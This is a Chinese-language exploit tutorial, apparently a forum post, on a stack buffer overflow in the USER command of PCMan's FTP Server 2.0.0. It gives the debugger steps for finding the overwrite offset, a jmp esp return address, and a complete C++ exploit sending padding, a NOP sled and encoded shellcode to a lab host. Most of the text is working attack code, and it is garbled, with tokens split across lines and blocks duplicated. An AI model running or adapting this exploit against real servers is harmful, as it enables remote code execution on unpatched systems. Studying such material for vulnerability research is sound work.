PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
原因:未对USER命令长度做限制
PCMan's FTP Server 2.0.0,x32dbg,windbg,Mona2插件,vs,win7-x86
用mona构造生成一个3000个字节的顺序字符串,用于测试溢出点
命令:!py mona pc 3000
0:003> .load pykd.pyd
0:003> !py mona
将复制的顺序字符串替换掉" USER anonymmous "如图
发现测试代码停在等待服务器信息处不能退出
虚拟机中的FTP程序已经崩溃
对jmp esp 0x75b7f8f7下断点,发现堆栈地址为0x12ed70
再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化
找能下断的地方
硬件写入断点ba w4 0012ed60 ".if(poi(0012ed60 )=0x41414141 ){}.else{gc}"
断下了
为避免此种问题,应对USER命令长度做合理限制,避免溢出.
<15PB信息安全教育-漏洞利用> ---任晓辉
<漏洞利用之PCMan-s FTP笔记> ---刘晨星
int
main()
{
WSADATA stWSA;
WSAStartup(
0x0202
, &stWSA);
SOCKET stListen
=
INVALID_SOCKET;
stListen
=
WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
0
,
0
,
0
);
SOCKADDR_IN stService;
stService.sin_addr.s_addr
=
inet_addr(
"192.168.132.130"
);
stService.sin_port
=
htons(
21
);
stService.sin_family
=
AF_INET;
connect(stListen, (SOCKADDR
*
)&stService, sizeof(stService));
/
/
4.
接收欢迎语
char szRecv[
0x100
]
=
{
0
};
char
*
pCommand
=
(char
*
)
"USER anonymmous"
;
recv(stListen, szRecv, sizeof(szRecv),
0
);
/
/
5.
发送登录请求
char cExpolit[]
=
"USER anonymmous"
;
send(stListen, cExpolit, strlen(cExpolit),
0
);
recv(stListen, szRecv, sizeof(szRecv),
0
);
/
/
6.
关闭相关句柄
closesocket(stListen);
WSACleanup();
}
int
main()
{
WSADATA stWSA;
WSAStartup(
0x0202
, &stWSA);
SOCKET stListen
=
INVALID_SOCKET;
stListen
=
WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
0
,
0
,
0
);
SOCKADDR_IN stService;
stService.sin_addr.s_addr
=
inet_addr(
"192.168.132.130"
);
stService.sin_port
=
htons(
21
);
stService.sin_family
=
AF_INET;
connect(stListen, (SOCKADDR
*
)&stService, sizeof(stService));
/
/
4.
接收欢迎语
char szRecv[
0x100
]
=
{
0
};
char
*
pCommand
=
(char
*
)
"USER anonymmous"
;
recv(stListen, szRecv, sizeof(szRecv),
0
);
/
/
5.
发送登录请求
char cExpolit[]
=
"USER anonymmous"
;
send(stListen, cExpolit, strlen(cExpolit),
0
);
recv(stListen, szRecv, sizeof(szRecv),
0
);
/
/
6.
关闭相关句柄
closesocket(stListen);
WSACleanup();
}
sprintf(cExpolit1,
"%s%s%s%s"
, cFill, cJmpesp, cNop, bShellcode);
/
/
注:ShellCode中不能有
0x00
,
0x0a
,
0x0d
,
0x20
因为这些ASCII一般被解释为截断,回车换行等,可能发生意外情况.
sprintf(cExpolit1,
"%s%s%s%s"
, cFill, cJmpesp, cNop, bShellcode);
/
/
注:ShellCode中不能有
0x00
,
0x0a
,
0x0d
,
0x20
因为这些ASCII一般被解释为截断,回车换行等,可能发生意外情况.
C
+
+
脚本:
char cExpolit1[
3000
]
=
{
0x00
};
char bShellcodeHelloWord[]
=
\
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1C\x33\xC9\x66\xB9\x37\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"
\
"\x67\x84\xEB\x27\xEC\x4B\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63"
\
"\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42"
\
"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62"
\
"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75"
\
"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x07\x36\x32\x57\x45"
\
"\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C"
\
"\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07\x07"
\
"\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57\x55"
\
"\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C"
\
"\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B"
\
"\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23"
\
"\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33"
\
"\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA8\xBE\x09\x07"
\
"\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41"
\
"\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A"
\
"\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D"
\
"\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E"
\
"\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A"
\
"\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF"
\
"\x8C\xE2\x5A\xC5\x17\x07\x07"
;
int
main()
{
WSADATA stWSA;
WSAStartup(
0x0202
, &stWSA);
SOCKET stListen
=
INVALID_SOCKET;
stListen
=
WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
0
,
0
,
0
);
SOCKADDR_IN stService;
stService.sin_addr.s_addr
=
inet_addr(
"192.168.132.130"
);
stService.sin_port
=
htons(
21
);
char cFill[
3000
]
=
{
0
};
/
/
修改为
0x3000
char cNop[
51
]
=
{
0
};
memset(cFill,
'A'
,
2008
);
/
/
注意为'单引号
memset(cNop,
'\x90'
,
50
);
char cJmpesp[]
=
{
"\xF7\xF8\xB7\x75"
};
sprintf(cExpolit1,
"%s%s%s%s%s"
, cFill, cJmpesp, cNop, bShellcodeHelloWord,
"\r\n"
);
stService.sin_family
=
AF_INET;
connect(stListen, (SOCKADDR
*
)&stService, sizeof(stService));
/
/
4.
接收欢迎语
char szRecv[
0x100
]
=
{
0
};
char
*
pCommand
=
(char
*
)
"USER anonymmous"
;
recv(stListen, szRecv, sizeof(szRecv),
0
);
/
/
5.
发送登录请求
send(stListen, cExpolit1, strlen(cExpolit1),
0
);
recv(stListen, szRecv, sizeof(szRecv),
0
);
/
/
6.
关闭相关句柄
closesocket(stListen);
WSACleanup();
}
C
+
+
脚本:
char cExpolit1[
3000
]
=
{
0x00
};
char bShellcodeHelloWord[]
=
\
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1C\x33\xC9\x66\xB9\x37\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"
\
"\x67\x84\xEB\x27\xEC\x4B\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63"
\
"\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42"
\
"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62"
\
"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75"
\
"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x07\x36\x32\x57\x45"
\
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!